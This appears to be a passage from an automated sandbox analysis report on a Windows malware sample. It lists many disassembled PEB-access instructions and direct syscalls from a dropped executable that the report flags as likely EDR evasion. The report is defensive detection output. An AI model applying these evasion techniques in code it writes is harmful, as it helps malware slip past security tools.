Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62619 mov eax, dword ptr fs:[00000030h]	2_2_01A62619
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE866E mov eax, dword ptr fs:[00000030h]	2_2_01AE866E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE866E mov eax, dword ptr fs:[00000030h]	2_2_01AE866E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A660 mov eax, dword ptr fs:[00000030h]	2_2_01A5A660
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A660 mov eax, dword ptr fs:[00000030h]	2_2_01A5A660
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A52674 mov eax, dword ptr fs:[00000030h]	2_2_01A52674
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3C640 mov eax, dword ptr fs:[00000030h]	2_2_01A3C640
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0 mov eax, dword ptr fs:[00000030h]	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A209AD mov eax, dword ptr fs:[00000030h]	2_2_01A209AD
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A209AD mov eax, dword ptr fs:[00000030h]	2_2_01A209AD
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA89B3 mov esi, dword ptr fs:[00000030h]	2_2_01AA89B3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA89B3 mov eax, dword ptr fs:[00000030h]	2_2_01AA89B3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA89B3 mov eax, dword ptr fs:[00000030h]	2_2_01AA89B3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAE9E0 mov eax, dword ptr fs:[00000030h]	2_2_01AAE9E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A529F9 mov eax, dword ptr fs:[00000030h]	2_2_01A529F9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A529F9 mov eax, dword ptr fs:[00000030h]	2_2_01A529F9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB69C0 mov eax, dword ptr fs:[00000030h]	2_2_01AB69C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A9D0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A9D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A9D0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A9D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A9D0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A9D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A9D0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A9D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A9D0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A9D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A9D0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A9D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A549D0 mov eax, dword ptr fs:[00000030h]	2_2_01A549D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEA9D3 mov eax, dword ptr fs:[00000030h]	2_2_01AEA9D3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA892A mov eax, dword ptr fs:[00000030h]	2_2_01AA892A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB892B mov eax, dword ptr fs:[00000030h]	2_2_01AB892B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E908 mov eax, dword ptr fs:[00000030h]	2_2_01A9E908
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E908 mov eax, dword ptr fs:[00000030h]	2_2_01A9E908
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAC912 mov eax, dword ptr fs:[00000030h]	2_2_01AAC912
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A18918 mov eax, dword ptr fs:[00000030h]	2_2_01A18918
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A18918 mov eax, dword ptr fs:[00000030h]	2_2_01A18918
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A46962 mov eax, dword ptr fs:[00000030h]	2_2_01A46962
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A46962 mov eax, dword ptr fs:[00000030h]	2_2_01A46962
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A46962 mov eax, dword ptr fs:[00000030h]	2_2_01A46962
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A6096E mov eax, dword ptr fs:[00000030h]	2_2_01A6096E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A6096E mov edx, dword ptr fs:[00000030h]	2_2_01A6096E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A6096E mov eax, dword ptr fs:[00000030h]	2_2_01A6096E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC4978 mov eax, dword ptr fs:[00000030h]	2_2_01AC4978
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC4978 mov eax, dword ptr fs:[00000030h]	2_2_01AC4978
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAC97C mov eax, dword ptr fs:[00000030h]	2_2_01AAC97C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA0946 mov eax, dword ptr fs:[00000030h]	2_2_01AA0946
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4940 mov eax, dword ptr fs:[00000030h]	2_2_01AF4940
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20887 mov eax, dword ptr fs:[00000030h]	2_2_01A20887
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAC89D mov eax, dword ptr fs:[00000030h]	2_2_01AAC89D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEA8E4 mov eax, dword ptr fs:[00000030h]	2_2_01AEA8E4
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C8F9 mov eax, dword ptr fs:[00000030h]	2_2_01A5C8F9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C8F9 mov eax, dword ptr fs:[00000030h]	2_2_01A5C8F9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E8C0 mov eax, dword ptr fs:[00000030h]	2_2_01A4E8C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF08C0 mov eax, dword ptr fs:[00000030h]	2_2_01AF08C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42835 mov eax, dword ptr fs:[00000030h]	2_2_01A42835
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42835 mov eax, dword ptr fs:[00000030h]	2_2_01A42835
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42835 mov eax, dword ptr fs:[00000030h]	2_2_01A42835
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42835 mov ecx, dword ptr fs:[00000030h]	2_2_01A42835
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42835 mov eax, dword ptr fs:[00000030h]	2_2_01A42835
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42835 mov eax, dword ptr fs:[00000030h]	2_2_01A42835
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A830 mov eax, dword ptr fs:[00000030h]	2_2_01A5A830
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC483A mov eax, dword ptr fs:[00000030h]	2_2_01AC483A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC483A mov eax, dword ptr fs:[00000030h]	2_2_01AC483A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAC810 mov eax, dword ptr fs:[00000030h]	2_2_01AAC810
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAE872 mov eax, dword ptr fs:[00000030h]	2_2_01AAE872
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAE872 mov eax, dword ptr fs:[00000030h]	2_2_01AAE872
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB6870 mov eax, dword ptr fs:[00000030h]	2_2_01AB6870
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB6870 mov eax, dword ptr fs:[00000030h]	2_2_01AB6870
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A32840 mov ecx, dword ptr fs:[00000030h]	2_2_01A32840
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A50854 mov eax, dword ptr fs:[00000030h]	2_2_01A50854
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24859 mov eax, dword ptr fs:[00000030h]	2_2_01A24859
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24859 mov eax, dword ptr fs:[00000030h]	2_2_01A24859
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30BBE mov eax, dword ptr fs:[00000030h]	2_2_01A30BBE
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30BBE mov eax, dword ptr fs:[00000030h]	2_2_01A30BBE
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD4BB0 mov eax, dword ptr fs:[00000030h]	2_2_01AD4BB0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD4BB0 mov eax, dword ptr fs:[00000030h]	2_2_01AD4BB0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28BF0 mov eax, dword ptr fs:[00000030h]	2_2_01A28BF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28BF0 mov eax, dword ptr fs:[00000030h]	2_2_01A28BF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28BF0 mov eax, dword ptr fs:[00000030h]	2_2_01A28BF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4EBFC mov eax, dword ptr fs:[00000030h]	2_2_01A4EBFC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AACBF0 mov eax, dword ptr fs:[00000030h]	2_2_01AACBF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A40BCB mov eax, dword ptr fs:[00000030h]	2_2_01A40BCB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A40BCB mov eax, dword ptr fs:[00000030h]	2_2_01A40BCB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A40BCB mov eax, dword ptr fs:[00000030h]	2_2_01A40BCB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20BCD mov eax, dword ptr fs:[00000030h]	2_2_01A20BCD
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20BCD mov eax, dword ptr fs:[00000030h]	2_2_01A20BCD
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20BCD mov eax, dword ptr fs:[00000030h]	2_2_01A20BCD
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACEBD0 mov eax, dword ptr fs:[00000030h]	2_2_01ACEBD0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4EB20 mov eax, dword ptr fs:[00000030h]	2_2_01A4EB20
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4EB20 mov eax, dword ptr fs:[00000030h]	2_2_01A4EB20
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE8B28 mov eax, dword ptr fs:[00000030h]	2_2_01AE8B28
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE8B28 mov eax, dword ptr fs:[00000030h]	2_2_01AE8B28
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4B00 mov eax, dword ptr fs:[00000030h]	2_2_01AF4B00
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A9EB1D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1CB7E mov eax, dword ptr fs:[00000030h]	2_2_01A1CB7E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD4B4B mov eax, dword ptr fs:[00000030h]	2_2_01AD4B4B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD4B4B mov eax, dword ptr fs:[00000030h]	2_2_01AD4B4B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB6B40 mov eax, dword ptr fs:[00000030h]	2_2_01AB6B40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB6B40 mov eax, dword ptr fs:[00000030h]	2_2_01AB6B40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEAB40 mov eax, dword ptr fs:[00000030h]	2_2_01AEAB40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC8B42 mov eax, dword ptr fs:[00000030h]	2_2_01AC8B42
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A18B50 mov eax, dword ptr fs:[00000030h]	2_2_01A18B50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF2B57 mov eax, dword ptr fs:[00000030h]	2_2_01AF2B57
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF2B57 mov eax, dword ptr fs:[00000030h]	2_2_01AF2B57
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF2B57 mov eax, dword ptr fs:[00000030h]	2_2_01AF2B57
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF2B57 mov eax, dword ptr fs:[00000030h]	2_2_01AF2B57
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACEB50 mov eax, dword ptr fs:[00000030h]	2_2_01ACEB50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28AA0 mov eax, dword ptr fs:[00000030h]	2_2_01A28AA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28AA0 mov eax, dword ptr fs:[00000030h]	2_2_01A28AA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A76AA4 mov eax, dword ptr fs:[00000030h]	2_2_01A76AA4
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80 mov eax, dword ptr fs:[00000030h]	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4A80 mov eax, dword ptr fs:[00000030h]	2_2_01AF4A80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A58A90 mov edx, dword ptr fs:[00000030h]	2_2_01A58A90
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5AAEE mov eax, dword ptr fs:[00000030h]	2_2_01A5AAEE
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5AAEE mov eax, dword ptr fs:[00000030h]	2_2_01A5AAEE
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A76ACC mov eax, dword ptr fs:[00000030h]	2_2_01A76ACC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A76ACC mov eax, dword ptr fs:[00000030h]	2_2_01A76ACC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A76ACC mov eax, dword ptr fs:[00000030h]	2_2_01A76ACC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20AD0 mov eax, dword ptr fs:[00000030h]	2_2_01A20AD0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A54AD0 mov eax, dword ptr fs:[00000030h]	2_2_01A54AD0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A54AD0 mov eax, dword ptr fs:[00000030h]	2_2_01A54AD0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5CA24 mov eax, dword ptr fs:[00000030h]	2_2_01A5CA24
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4EA2E mov eax, dword ptr fs:[00000030h]	2_2_01A4EA2E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A44A35 mov eax, dword ptr fs:[00000030h]	2_2_01A44A35
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A44A35 mov eax, dword ptr fs:[00000030h]	2_2_01A44A35
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AACA11 mov eax, dword ptr fs:[00000030h]	2_2_01AACA11
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5CA6F mov eax, dword ptr fs:[00000030h]	2_2_01A5CA6F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5CA6F mov eax, dword ptr fs:[00000030h]	2_2_01A5CA6F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5CA6F mov eax, dword ptr fs:[00000030h]	2_2_01A5CA6F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACEA60 mov eax, dword ptr fs:[00000030h]	2_2_01ACEA60
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9CA72 mov eax, dword ptr fs:[00000030h]	2_2_01A9CA72
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9CA72 mov eax, dword ptr fs:[00000030h]	2_2_01A9CA72
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26A50 mov eax, dword ptr fs:[00000030h]	2_2_01A26A50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30A5B mov eax, dword ptr fs:[00000030h]	2_2_01A30A5B

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
